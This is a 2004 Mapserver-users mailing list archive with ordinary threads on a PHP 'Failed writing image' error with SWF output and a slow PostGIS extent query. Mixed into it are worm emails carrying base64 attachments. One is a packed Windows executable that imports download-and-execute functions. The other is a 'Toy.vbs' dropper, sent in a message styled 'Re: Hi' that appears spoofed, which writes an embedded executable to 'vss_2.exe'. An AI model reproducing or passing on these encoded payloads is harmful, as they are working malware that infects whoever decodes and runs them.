2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAeLeqr7SWlzZNOUNR ZwTBAI8hCCKJCySATR2CLKMKs0JCZ3AVwFu7C7kLX4lal6hcok0sNnBxnhO2TmimgCxKpHs/ wLxWuUtyF0TDAUNhHL0wuJoNUVGtuMB0Djw7Fy8mL4xdHwMOTJsiw2O5nC9jPnkHL7ARZI82 NRpth2C1jjB9fjq4o1JmAzF8L0oaG2ysSlg6GV2jPa8rA2cjR15zZj2LTWRvKWeXQTwhwAwi M2NPKraacgB2lYCaerNGRGAVdRxyahK5NDDGR6J1p0kUelB2VpsjN8VSxhWSnwh/AUcRUHqW Gp8NUrF+xmY8lhA1BrshZn+eSauXuTpsUDwhC68tIYwgv7xtE219jWqqogwphhy3JEg5PCEO FCcJGFBEa7RRjhCWisI4vFe1KA8nmBurRViaQoSTjsFTVL0/dpO6Yji/DjlONkoFg7wakayE Ay8zO4Cbc0cdSDeZaVQ6qgN1s6EVVSOwVbqvAUtmBYpxZKbEmgBrtHWxCFMQmF6dV0Z1v62D xYZ3SFRKFSC9alCWB21ecBSnnSkOwqIRHx90T2gtiBCWKFxePgI1dz6VDWiXE6AQfIgIGyFJ GjAgUGQ7K0NHJgGsx7CmWlaXHQKER0OWp2VgsH7CjEXBDx6TbRyfjYFaqBesByMLOEIVTDcZ U4swWp5EZlBzQ7WEsFGFYaYgxFrHr7q9GZQdfMKSrhzGLp+IkXUzZXFQu13CSZOXr6sRtXxz OjWgvR8cmGGRnhvFf4Fnui5eZzMPtoyKkU85oaxXda7CjYW4OEsXXq0FZS5Vd6ZOL2qTVXZJ pH8geDYyG3W8YxSBKIkEo6dqVgGeOFBWl4Beh4DBhVFUFYppIrE3uEyCqodJxFaYHo6etid+ SCmCEVJDZ4ZnIBMkRlIUgVI2M3pvvmY3hLHFwhoNv4MHwAmsxR9Ga5mDal4IUERPWcVQY3R6 ZLC8tknBEI2RlXN0BnIIMGLAT0+HaAZwiSDDYRxuU7InlEunIasRFwOKgL0hQ5tmumlrVWk8 qg1enmegEy5AicNAS3JnhGeouByub0cLgiuNTJlhEAVIeDuuIBdNTZDGB6aJbDBltMdEl1+h PT5GTcOyb2h8fXJnH4sCAbk4YXZ0uB4gibemkC1dm0iEWkJGb3mMEoVoOYqtrnJWQhOBN1eP QY1LEr97O0p5v7A3uzC2xhUHLQizmylNipoIfCNSlLEglnRhZB+hwQdjNm+XjEJSbk9cM0pS goaLsJ0MPy5eLMZEWaFWNig6uVUfgS1SELJdgyIDIWQ1Xm2TH8c6fGyOkYsfUE0bREojunwR BSccgRy4V3m5AoRglbFhs6m0o60RsgeJT1ahf1AwMSgUKaAoBb+KMFojmmgFHlVGbkKzIj91 JDc9WaY3Ik6RaxqxoZtTExw6eg8ii7qaByaYlm22Ong4SLwGMw+8ZLySJHhcakmGjYwXeUQw UgBjk70/gHa4BXKEpz8pNHDHTgZOVD1lgHaKjXUtMxVDqnyoJBInK1MHvQinfSqKAm0lL4kH P7pXoLjFhHAyurtFSx05Qk18dSE1ETUzjGurbRV6v3NpX7slT1FulRu4DS4hDikkmwk0MZY5 PGCBRQc4MFYfw7RvCDNkXYUxuCeTkBR3xp4cdVNVOH5vUhRYr2oOEqdWjaJsfnAckp5nQHMc iyHGe78fK4aFbjmMW1+YeItPZygQr3lPx1w1equUe1ZADj9wnrhyOghYkRguGU0XGgWdZ04p L2FgME9lu4whR2UOv2ZLQI1HL8SWmMc+TmGNXzZkEJOKaRK8NnBpPwAnS0WdxFVmfkp9b45+ DnOTA6llIzCUvsIyH3SZTrxoL4skulKLvhuRnQhAL424nB0sgoWgS6+bm00MxrNWa2wTEzgt srO6w6Acp04a ----------zkqerpuuohpsypjbyynq-- From hau.lu at msa.hinet.net Sun May 9 08:03:31 2004 From: hau.lu at msa.hinet.net (Hau Lu) Date: Sun, 9 May 2004 23:03:31 +0800 Subject: [Mapserver-users] SWF problem Message-ID: <200405091503.XAA20722@msr38.hinet.net> This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C43619.D96F0330 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Dear List user: I'm trying to use Mapserver (using the Windows binary ms402_png_pg.zip provided on the mapserver download site which should support SWF output) to output swf files that I can load from a Flash app ( using loadMovie(..) function). part of my php code looks like this: ......Initialize $map object $map->selectOutputFormat("SWF"); $image = $map->draw(); $image_url=$map->saveWebImage(); // error occurs here .....output the $image_url var to Flash app and the map file looks like this (it's actually one of the example map files from the tutorial): MAP IMAGETYPE JPEG INTERLACE OFF EXTENT 201621.496941 -294488.284025 1425518.020722 498254.511514 SIZE 400 300 SHAPEPATH "data" IMAGECOLOR 255 255 255 OUTPUTFORMAT NAME swf MIMETYPE "application/x-shockwave-flash" DRIVER swf IMAGEMODE PC256 FORMATOPTION "OUTPUT_MOVIE=SINGLE" END WEB IMAGEPATH "C:/Apache/htdocs/tmp/" IMAGEURL "/tmp/" MAXSCALE 150000000 MINSCALE 200 END PROJECTION "proj=laea" "ellps=clrk66" "lat_0=45" "lon_0=-100" END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME states_poly DATA states_ugl STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4326" END CLASS COLOR 232 232 232 END END # States polygon layer ends here LAYER # States line layer begins here NAME states_line DATA states_ugl STATUS DEFAULT TYPE LINE PROJECTION "init=epsg:4326" END CLASS COLOR 32 32 32 END END # States line layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file I get the following error : "PHP Fatal error: Failed writing image to C:/Apache/htdocs/tmp/108411324937081.swf ....." when the Flash app tries to call the php program, the SWF file is created with properly content (viewable in a stanalone flash player) in the designated directory but the PHP program just stopped without responding to the Flash app. Using the same code, I can output JPEG images to the Flash app without any problem. I've also tried to output the SWF from mapserv.exe using CGI calls but that also failed. Searching through the list archive, I found some people having the same problem that I have but there's no answer. I've read the user doc at http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html but don't have a clue on what I did wrong, can anybody give me a hand here? Best Regards, Hau ------=_NextPart_000_0003_01C43619.D96F0330 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Dear List=20 user:
 
   =20 I'm trying to use Mapserver (using the Windows binary ms402_png_pg.zip = provided=20 on the mapserver download site which should support SWF output) to = output swf=20 files that I can load from a Flash app ( using loadMovie(..)=20 function).
 
 
part of my php code=20 looks like this:
 
......Initialize $map=20 object
 
$map->selectOutputFormat("SWF");
$image =3D=20 $map->draw();
$image_url=3D$map->saveWebImage(); // error = occurs=20 here
 
.....output the=20 $image_url var to Flash app
 
and the map file=20 looks like this (it's actually one of the example map files from the=20 tutorial):
 
MAP
IMAGETYPE=20 JPEG
INTERLACE = OFF
EXTENT        =20 201621.496941 -294488.284025 1425518.020722=20 498254.511514
SIZE        &nbs= p; =20 400 300
SHAPEPATH     =20 "data"
IMAGECOLOR     255 255 = 255
 
OUTPUTFORMAT=20
 NAME swf
 MIMETYPE "application/x-shockwave-flash"=20
 DRIVER swf
 IMAGEMODE PC256
 FORMATOPTION=20 "OUTPUT_MOVIE=3DSINGLE"
END
 
WEB
 IMAGEPATH=20 "C:/Apache/htdocs/tmp/"
 IMAGEURL "/tmp/"
 MAXSCALE=20 150000000
 MINSCALE 200
END
 
PROJECTION
 =20 "proj=3Dlaea"
  "ellps=3Dclrk66"
  = "lat_0=3D45"
 =20 "lon_0=3D-100"
END
 
# Start of LAYER=20 DEFINITIONS ---------------------------------------------
LAYER # = States=20 polygon layer begins here
 =20 NAME         = states_poly
 =20 DATA         = states_ugl
 =20 STATUS       DEFAULT
 =20 TYPE         = POLYGON
 
 =20 PROJECTION
    "init=3Depsg:4326"
 =20 END
 
 =20 CLASS
    COLOR      232 232=20 232
  END
END # States polygon layer ends = here
 
LAYER # States line=20 layer begins here
  = NAME        =20 states_line
  = DATA        =20 states_ugl
  STATUS      =20 DEFAULT
  TYPE        =20 LINE
 
 =20 PROJECTION
    "init=3Depsg:4326"
 =20 END
 
 =20 CLASS
    COLOR 32 32 32
  END
END # States = line=20 layer ends here
# End of LAYER DEFINITIONS=20 -------------------------------
 
END # end of map=20 file
 
I get the following=20 error :
   =20 "PHP Fatal error:  Failed writing image to=20 C:/Apache/htdocs/tmp/108411324937081.swf ....."
when the Flash app=20 tries to call the php program, the SWF file is created with properly = content=20 (viewable in a stanalone flash player) in the designated directory but = the PHP=20 program just stopped without responding to the Flash app. Using the same = code, I=20 can output JPEG images to the Flash app without any problem. I've also = tried to=20 output the SWF from mapserv.exe using CGI calls but that also=20 failed.
Searching through=20 the list archive, I found some people having the same problem that = I have=20 but there's no answer. I've read the user doc at http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html=  but=20 don't have a clue on what I did wrong, can anybody give me a hand=20 here?
 
Best=20 Regards,
 
Hau
------=_NextPart_000_0003_01C43619.D96F0330-- From pierre.giraud3 at free.fr Sun May 9 10:04:37 2004 From: pierre.giraud3 at free.fr (GIRAUD Pierre) Date: Sun, 09 May 2004 19:04:37 +0200 Subject: [Mapserver-users] SWF problem References: <200405091503.XAA20722@msr38.hinet.net> Message-ID: <409E64A5.9010900@free.fr> --------------090904060408050504020502 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Just try to output your map in multiple movies ("OUTPUT_MOVIE=MULTIPLE"). I expect this will not return fatal error but one swf for each layer in your mapfile. Hope this works. I don't even know why single output crashes. Is it due to ming library or mapserver ? If you are able with this method to generate movies, you'll just have to redefined your Flash app to load each movie individualy. I didn't work on this a lot but I think this might be a good way to built a flash interface. I mean, layers may be hidden or shown individualy easily and other great stuffs could be imagined. It would also be great to have examples or experience returns from people who succesfully explored this mapserver output possibility. Regards. Pierre GIRAUD Hau Lu a ?crit: > Dear List user: > > I'm trying to use Mapserver (using the Windows binary > ms402_png_pg.zip provided on the mapserver download site which should > support SWF output) to output swf files that I can load from a Flash > app ( using loadMovie(..) function). > > > part of my php code looks like this: > > ......Initialize $map object > > $map->selectOutputFormat("SWF"); > $image = $map->draw(); > $image_url=$map->saveWebImage(); // error occurs here > > .....output the $image_url var to Flash app > > and the map file looks like this (it's actually one of the example map > files from the tutorial): > > MAP > IMAGETYPE JPEG > INTERLACE OFF > EXTENT 201621.496941 -294488.284025 1425518.020722 498254.511514 > SIZE 400 300 > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > > OUTPUTFORMAT > NAME swf > MIMETYPE "application/x-shockwave-flash" > DRIVER swf > IMAGEMODE PC256 > FORMATOPTION "OUTPUT_MOVIE=SINGLE" > END > > WEB > IMAGEPATH "C:/Apache/htdocs/tmp/" > IMAGEURL "/tmp/" > MAXSCALE 150000000 > MINSCALE 200 > END > > PROJECTION > "proj=laea" > "ellps=clrk66" > "lat_0=45" > "lon_0=-100" > END > > # Start of LAYER DEFINITIONS --------------------------------------------- > LAYER # States polygon layer begins here > NAME states_poly > DATA states_ugl > STATUS DEFAULT > TYPE POLYGON > > PROJECTION > "init=epsg:4326" > END > > CLASS > COLOR 232 232 232 > END > END # States polygon layer ends here > > LAYER # States line layer begins here > NAME states_line > DATA states_ugl > STATUS DEFAULT > TYPE LINE > > PROJECTION > "init=epsg:4326" > END > > CLASS > COLOR 32 32 32 > END > END # States line layer ends here > # End of LAYER DEFINITIONS ------------------------------- > > END # end of map file > > I get the following error : > "PHP Fatal error: Failed writing image to > C:/Apache/htdocs/tmp/108411324937081.swf ....." > when the Flash app tries to call the php program, the SWF file is > created with properly content (viewable in a stanalone flash player) > in the designated directory but the PHP program just stopped without > responding to the Flash app. Using the same code, I can output JPEG > images to the Flash app without any problem. I've also tried to output > the SWF from mapserv.exe using CGI calls but that also failed. > Searching through the list archive, I found some people having the > same problem that I have but there's no answer. I've read the user doc > at > http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html but > don't have a clue on what I did wrong, can anybody give me a hand here? > > Best Regards, > > Hau --------------090904060408050504020502 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Just try to output your map in multiple movies ("OUTPUT_MOVIE=MULTIPLE").
I expect this will not return fatal error but one swf for each layer in your mapfile. Hope this works.
I don't even know why single output crashes. Is it due to ming library or mapserver ?

If you are able with this method to generate movies, you'll just have to redefined your Flash app to load each movie individualy.
I didn't work on this a lot but I think this might be a good way to built a flash interface. I mean, layers may be hidden or shown individualy easily and other great stuffs could be imagined.

It would also be great to have examples or experience returns from people who succesfully explored this mapserver output possibility.

Regards.

Pierre GIRAUD

Hau Lu a écrit:
Dear List user:
 
    I'm trying to use Mapserver (using the Windows binary ms402_png_pg.zip provided on the mapserver download site which should support SWF output) to output swf files that I can load from a Flash app ( using loadMovie(..) function).
 
 
part of my php code looks like this:
 
......Initialize $map object
 
$map->selectOutputFormat("SWF");
$image = $map->draw();
$image_url=$map->saveWebImage(); // error occurs here
 
.....output the $image_url var to Flash app
 
and the map file looks like this (it's actually one of the example map files from the tutorial):
 
MAP
IMAGETYPE JPEG
INTERLACE OFF
EXTENT         201621.496941 -294488.284025 1425518.020722 498254.511514
SIZE           400 300
SHAPEPATH      "data"
IMAGECOLOR     255 255 255
 
OUTPUTFORMAT
 NAME swf
 MIMETYPE "application/x-shockwave-flash"
 DRIVER swf
 IMAGEMODE PC256
 FORMATOPTION "OUTPUT_MOVIE=SINGLE"
END
 
WEB
 IMAGEPATH "C:/Apache/htdocs/tmp/"
 IMAGEURL "/tmp/"
 MAXSCALE 150000000
 MINSCALE 200
END
 
PROJECTION
  "proj=laea"
  "ellps=clrk66"
  "lat_0=45"
  "lon_0=-100"
END
 
# Start of LAYER DEFINITIONS ---------------------------------------------
LAYER # States polygon layer begins here
  NAME         states_poly
  DATA         states_ugl
  STATUS       DEFAULT
  TYPE         POLYGON
 
  PROJECTION
    "init=epsg:4326"
  END
 
  CLASS
    COLOR      232 232 232
  END
END # States polygon layer ends here
 
LAYER # States line layer begins here
  NAME         states_line
  DATA         states_ugl
  STATUS       DEFAULT
  TYPE         LINE
 
  PROJECTION
    "init=epsg:4326"
  END
 
  CLASS
    COLOR 32 32 32
  END
END # States line layer ends here
# End of LAYER DEFINITIONS -------------------------------
 
END # end of map file
 
I get the following error :
    "PHP Fatal error:  Failed writing image to C:/Apache/htdocs/tmp/108411324937081.swf ....."
when the Flash app tries to call the php program, the SWF file is created with properly content (viewable in a stanalone flash player) in the designated directory but the PHP program just stopped without responding to the Flash app. Using the same code, I can output JPEG images to the Flash app without any problem. I've also tried to output the SWF from mapserv.exe using CGI calls but that also failed.
Searching through the list archive, I found some people having the same problem that I have but there's no answer. I've read the user doc at http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html but don't have a clue on what I did wrong, can anybody give me a hand here?
 
Best Regards,
 
Hau

--------------090904060408050504020502-- From gayathri at ou.edu Sun May 9 13:29:29 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Sun, 9 May 2004 15:29:29 -0500 Subject: [Mapserver-users] Finding Extent Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E4B60C@XMAIL1.sooner.net.ou.edu> Hi: I am having a problem with figuring the best possible way to find extent of my results for my mapping application.. My present query is: "select xmin(extent(the_geom)), ymin(extent(the_geom)),xmax(extent(the_geom)),ymax(extent(the_geom)) from nc where parcels_id in ();" But this ends up being a index scan on the parcels_id...and costs of this query are directly tied to the number of parcels in my results. I have indexes on the_geom, oid and parcels_id I have done a vacuum analyze on this database. But nothing seems to help the runtime of this query. Version of Postgresql is 7.2.1 Version of Postgis is 0.7.5 What am I doing wrong? Is there a better way to find extents for returned results. Thanks Gayathri From steve.lime at dnr.state.mn.us Sun May 9 15:32:11 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sun, 09 May 2004 16:32:11 -0600 Subject: [Mapserver-users] Re: Hi Message-ID: ----------kwrhpezjudyczaqzosdo Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------kwrhpezjudyczaqzosdo Content-Type: application/octet-stream; name="Toy.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Toy.vbs" ZGltIGZpbGVzeXMsIGZpbGV0eHQsIGdldG5hbWUsIHBhdGgsIHRleHRmaWxlLCBpDQp0ZXh0 ZmlsZSA9ICJ2c3NfMi5leGUiDQpTZXQgZmlsZXN5cyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0 aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGZpbGV0eHQgPSBmaWxlc3lzLkNyZWF0ZVRl eHRGaWxlKHRleHRmaWxlLCBUcnVlKQ0KZ2V0bmFtZSA9IGZpbGVzeXMuR2V0RmlsZU5hbWUo cGF0aCkNCmRpbSBhDQphPUFycmF5KDc3LDkwLDAsMCwxLDAsMCwwLDIsMCwwLDAsMjU1LDI1 NSwwLDAsNjQsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMCwwLDAsMCwwLDE4MCw3NiwyMDUsMzMs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTQ0LDAs MCwwLDE2OSwzOCwyMjEsMTksMjM3LDcxLDE3OSw2NCwyMzcsNzEsMTc5LDY0LDIzNyw3MSwx NzksNjQsMjM3LDcxLDE3OSw2NCwyMzgsNzEsMTc5LDY0LDk5LDg4LDE2MCw2NCwxMDksNzEs MTc5LDY0LDE3LDEwMywxNjEsNjQsMjM2LDcxLDE3OSw2NCw0Miw2NSwxODEsNjQsMjM2LDcx LDE3OSw2NCw4MiwxMDUsOTksMTA0LDIzNyw3MSwxNzksNjQsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsODAsNjksMCwwLDc2LDEsMywwLDIwNCwx NSwxNDQsNjQsMCwwLDAsMCwwLDAsMCwwLDIyNCwwLDE1LDEsMTEsMSw1LDEyLDAsODAsMCww LDAsMTYsMCwwLDAsMTQ0LDAsMCwyNDAsMjI2LDAsMCwwLDE2MCwwLDAsMCwyNDAsMCwwLDAs MCw2NCwwLDAsMTYsMCwwLDAsMiwwLDAsNCwwLDAsMCwwLDAsMCwwLDQsMCwwLDAsMCwwLDAs MCwwLDAsMSwwLDAsMTYsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMTYsMCwwLDE2LDAsMCww LDAsMTYsMCwwLDE2LDAsMCwwLDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNjQs MjQzLDAsMCw3NiwyLDAsMCwwLDI0MCwwLDAsMTY0LDMsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw4NSw4MCw4OCw0OCwwLDAsMCwwLDAsMTQ0 LDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MTI4LDAsMCwyMjQsODUsODAsODgsNDksMCwwLDAsMCwwLDgwLDAsMCwwLDE2MCwwLDAsMCw3 MCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMjI0LDQ2LDEx NCwxMTUsMTE0LDk5LDAsMCwwLDAsMTYsMCwwLDAsMjQwLDAsMCwwLDYsMCwwLDAsNzIsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwxOTIsNDksNDYsNTAsNTIsMCw4NSw4 MCw4OCwzMywxMiw5LDIsOCwxOTEsMzksNjEsOTUsMjE4LDIwOCwxMTEsMTU4LDE5OSwxOTks MCwwLDIwMSw2NiwwLDAsMCwxNDYsMCwwLDM4LDAsMCwyMDQsMjU1LDI1NSwyNTUsMTU1LDI1 MCwyMDEsNTgsMTEzLDQyLDQzLDI0LDE0NCwyNDMsMTYzLDQzLDE2LDEzNywyNTIsMTIzLDgs MjE4LDEyMSw2NiwyMywyNCwxNCwxMTUsMjM4LDEyNyw5NCw4MiwxOTEsMjUzLDI1NSwyNTUs MTg2LDI1MCw0LDU4LDE0MywyNCw1NywxNzUsMTEzLDIyLDE3MiwxMTMsMTkxLDI0MiwxMTMs MTQzLDI0NiwxMTMsMTgzLDIzNCwyNSwyMjYsNDUsNTksMTYsMjQyLDIwMCwyNTIsMjIwLDI1 NSwxNzcsMjIxLDIyMyw1LDU5LDExMywyNTQsMzgsMjAxLDU2LDE4OCwyNCwxOCwxNjQsNTEs NTYsMjQ2LDI1MCw0MywxMDcsMjM3LDE4MywyMzksNDIsMTMsNDIsNSwxNDMsMjM0LDIsMjQ2 LDE3MCwxOCw1OCw1LDAsMTMsMjUsMTI3LDI1MSwyNDYsNywxMjEsNjIsMTQsMTQ2LDI1MCwy MTgsNTMsMTQ0LDI1MCwxOCw5Nyw1MiwyNTAsMTE1LDE5MSw2LDYxLDE5MSwyNTUsMTkwLDE5 NywxOTAsMTQsMTMwLDE0NCwxLDQ4LDI0MiwxOCw0NSwxODYsMTMsMTE5LDE5MSwyLDE3MCwy NTUsMTU1LDE3NSwxMjMsNDEsMTgsNiwyMSw4MywxMjEsMTM1LDIsMjUwLDE0MywyNDgsMTcs MjMzLDUsMTQzLDExOSwxMTEsMjM4LDE0NSwyLDE0LDE4LDEwNiw5MSw2NywxNCwxNyw1Mywx NSwxOCwxNzAsMTg2LDIxOSw1NCwxMTUsOTYsNzAsMTA2LDEzNSwxNCwxMTksMjU0LDEwNiwx ODMsMjQ2LDIyMCwxMDIsMjI2LDg5LDkwLDE2NSwyMDAsMjM2LDcxLDI0MiwyNDgsMTgzLDIx NywyMjIsMjIzLDEzNywyNTQsMjUsMTQ0LDI1NCwxNDYsMjIsMTY0LDE4OSw1LDI1NSwxMSwx ODksMjM3LDE5MywxODIsMTcwLDIwMyw3LDIwMSw0MCwxMyw3MSwxMDQsMzgsMjM4LDI0Niwx NzMsMjIwLDUzLDE3Myw2LDExMywyNTIsMjQ2LDU5LDE5LDI0OCw2NCw5LDgxLDksMjM5LDYy LDE3OCwyNTMsMTIxLDI3LDI0OSw5LDgwLDE2NSwzMCwyNDIsMTY5LDExMywxNjcsMjQ2LDMz LDE0NCwyMjQsMTgsOTksMjQyLDE0OCwyNTMsMTE5LDczLDEyMSw1OCwxNTUsNiw4MCwxNzcs MTQzLDExLDE2MSwzMSwyNDAsMTgsMTMxLDEyMywyMzEsMjIsNTAsMjAyLDE3NywxODQsMjUx LDE4LDc0LDE5NywxNjksMjAyLDE3MywxMTcsMTI3LDI0MSw1OCwxNDIsMjQ0LDE3MCwxNDQs MTQ4LDM3LDEyLDE4Nyw0MCwxOTYsMTI3LDIyLDE4NiwxOTMsMTMxLDE3Miw2OSwxNDMsMTMy LDEzNSwyMDEsMzMsMjUsMTc0LDE5NSwxNTEsMjM3LDI1NSw4Niw1OSwyNiwyMzQsMTIxLDMs MjUxLDE0MiwyNDEsODYsMTU2LDksMjQyLDI0OCwxNDIsMjUxLDg2LDE1NCw3LDEyMSwxMjMs MTIwLDE4LDIzMiwxOCwxOTksMTUyLDU2LDksMjQ2LDE4LDIwMSwyNTIsMTgsMTExLDIzNywy MjEsMTQ1LDIxMSwxOCwyMTYsNiwxODUsMTIxLDEsMjMyLDcyLDY2LDE1Niw2NiwyNDcsOCwx NzMsMjUzLDI1NSwyNDAsMTU2LDgxLDEyMSwxOSwyNDksMTMxLDcyLDEzLDM1LDIwOSwzLDc0 LDE5OSwyMDgsMTQ1LDE5NiwyNTUsMjU1LDI1NSwyNTUsMTIxLDI2LDE5NywxOTgsMTk2LDEz NywyMzIsMTk4LDIwNiwxMzcsMjQwLDI1NCwxODcsMTk4LDE2MSwxMzYsMjQ1LDI1NCwyNTIs MTcsMjQxLDI1NCw2LDE3LDI1MywyMTQsMTk2LDU4LDI2LDI0OCwyNTQsMjM1LDMwLDIxOCwx OTUsMjA5LDgwLDczLDE2OSwxNDQsMTA1LDM2LDE2MSwxMjcsMTc5LDEyNSw2NywxMzUsMTIz LDIwMSwxMTMsMzQsMjI0LDM0LDYsOTcsNTEsNSw4LDg0LDEyMiwyMjMsMjQ2LDEyMywxODcs MTkwLDE0MiwyMjcsMTc4LDE4LDExNiwxOTYsMjExLDE0MywyNTMsODksMTYxLDIzNywxMTUs MTU3LDQ5LDExNSwyNTUsMjUyLDEyMSw2MCwyNTQsMTcsMzIsNjYsMjUxLDEzNiwxOCwyNCw2 LDExOCwxMzMsMTU5LDIxOSwyMjIsMTQ2LDI0OCwyMSw4MywxMTIsNCwzNiw3NywxODksMTg5 LDQ2LDI0NiwxMTksMjMsMTMyLDY3LDI1MCwxOSwxMTQsMjM4LDE5Miw0LDU2LDI0LDMsMTgs OTgsMjE0LDI0OCwxMDksMjI3LDYwLDE5MSw0LDExMyw1MSwxOTIsMTEyLDI1NCwxOTMsMTE0 LDE5MSwxMzMsMTMsMTc4LDIzNywyMzgsMTgyLDgsMjAzLDUsMjQ1LDc2LDE3NSw5LDE5Miwx MTQsMjEsMTEyLDIzNiwyMTksMTMzLDE4Myw1LDE5MiwxODcsMTkzLDQwLDEzNiwyNDgsNDAs NCw1NywxNDMsNDcsMjE2LDE4MywyMywyMjAsMjE3LDEwNiwyLDE4NSwxNDMsMjQyLDExMiwy NDksNjAsNywxMTIsMTA4LDE5NiwyMiwyMTgsMTg1LDI1MSw1LDIyMCwxLDg3LDE0MCwyLDI1 NCwxODEsMjQ2LDIyNywyMjgsMTg2LDQsMjcsNzksMywyMzgsMTk0LDExNCwxNzUsMTA5LDIz OSwyMTksMjIxLDk5LDE3NSw2LDEzLDYsMTEyLDEyLDQsMjMsMTQ1LDE5NCwxNTUsMjM1LDky LDEzOSwxNiwyNiw5LDUsMjQ4LDEyMiwxNjQsMTEzLDIyMSwxODYsMTgzLDExMSw2NCwyMDIs MjM4LDIwMiw1LDUsMjQsNTgsMTEyLDM1LDI0OSw0LDYsMTE0LDIyMyw2Miw3MywxNzUsOTYs MjMwLDI1LDExMywxODYsMTk4LDI0OSw1LDI0NSw3NywxODYsMjUyLDEzMywyMjEsNDUsOCwy MTQsMjI2LDY2LDIxMCwxMTYsMTMsMTU5LDIxOCwxNDAsMjQ3LDIxNCwxNTAsMTc1LDE2OCwy OSw1LDI0OSw1NiwyNTUsMTM2LDI4LDE1MCwxNzMsMTI0LDE1MiwyNDYsMTksNDMsNSw2MCwy MzgsMjQ2LDIzLDEwOCwyMjgsMTk0LDIzLDY3LDIzNCwyMCwyMjEsMTYsMTYzLDEwNywxOTAs MjEsMTE3LDE3OCw4LDE3MCwxNDQsMTE2LDI1MSwyMTgsMjEwLDE1NSwxODMsMTc5LDkxLDUs MTk0LDExMywxMTMsMTg1LDEwNywyMjMsMjU0LDE5MSwxNjEsMTEsMjA5LDQ4LDExMywxNjks MjQyLDI0OSw0MywyNDksMTY5LDI0NiwxMTUsMjIxLDUsMTM3LDIzNCwxMTcsMTgyLDIzLDI0 MiwxNTcsMTkwLDExOCwyMzgsMjUxLDUsNjMsMTgxLDE3LDYyLDE2MCw5OSwyMzcsMTE5LDU5 LDE0NCwyMTAsOSwxNSw2LDE4LDI0NiwxMTcsNTksNSwyMzQsMjMsMjAyLDE3OCw0NCwyLDIz OCw2LDU3LDE4NSwyMjIsMjUzLDIwMiwyMDEsMTUwLDIxOCwyNiwyMjMsMTU2LDUsMjUsMTg2 LDE3MCw3NywxODIsMjE3LDIyMywyMTIsMjUxLDE3MCwxNzAsNjEsMTIyLDQyLDI1MCwwLDks NDYsMTA4LDE0MywxMDksNTIsMjA3LDIzNCwzMywyNDIsMzcsMjEwLDE3LDI0OSw1OCw2LDIy OCwxOTgsMTY3LDMzLDM3LDEzLDI1MSwxNDQsMjUxLDEwNCwxOTksMjA1LDIzOCwxODIsMTUw LDY5LDg4LDIzMiwyMyw1LDE2OCwyNDIsMTcsNDEsMjQ2LDI1NCwyNTMsMjMyLDExOSwxNzUs MiwxMzcsMjQ4LDYxLDE4NCwyNTQsNzksMzUsMjUzLDc1LDI0OCw5NCwyMjEsMTUzLDYsMzYs NDYsMjM4LDI0NSwyMTUsMTc4LDE3NywyMTksMTcyLDExOSwxOSw2MSwyNTIsMTMxLDE4OCw0 OCwxMDUsOTAsMTc2LDE1LDIzNiwxNDQsMjQ4LDQ5LDExMywyNTIsMTY0LDk5LDIzLDM5LDEz NSwxODUsMTc5LDc2LDExOSwyNDgsMTgsMjUwLDEyOCwxMzksMTA4LDE3NywzNywxMzcsODks 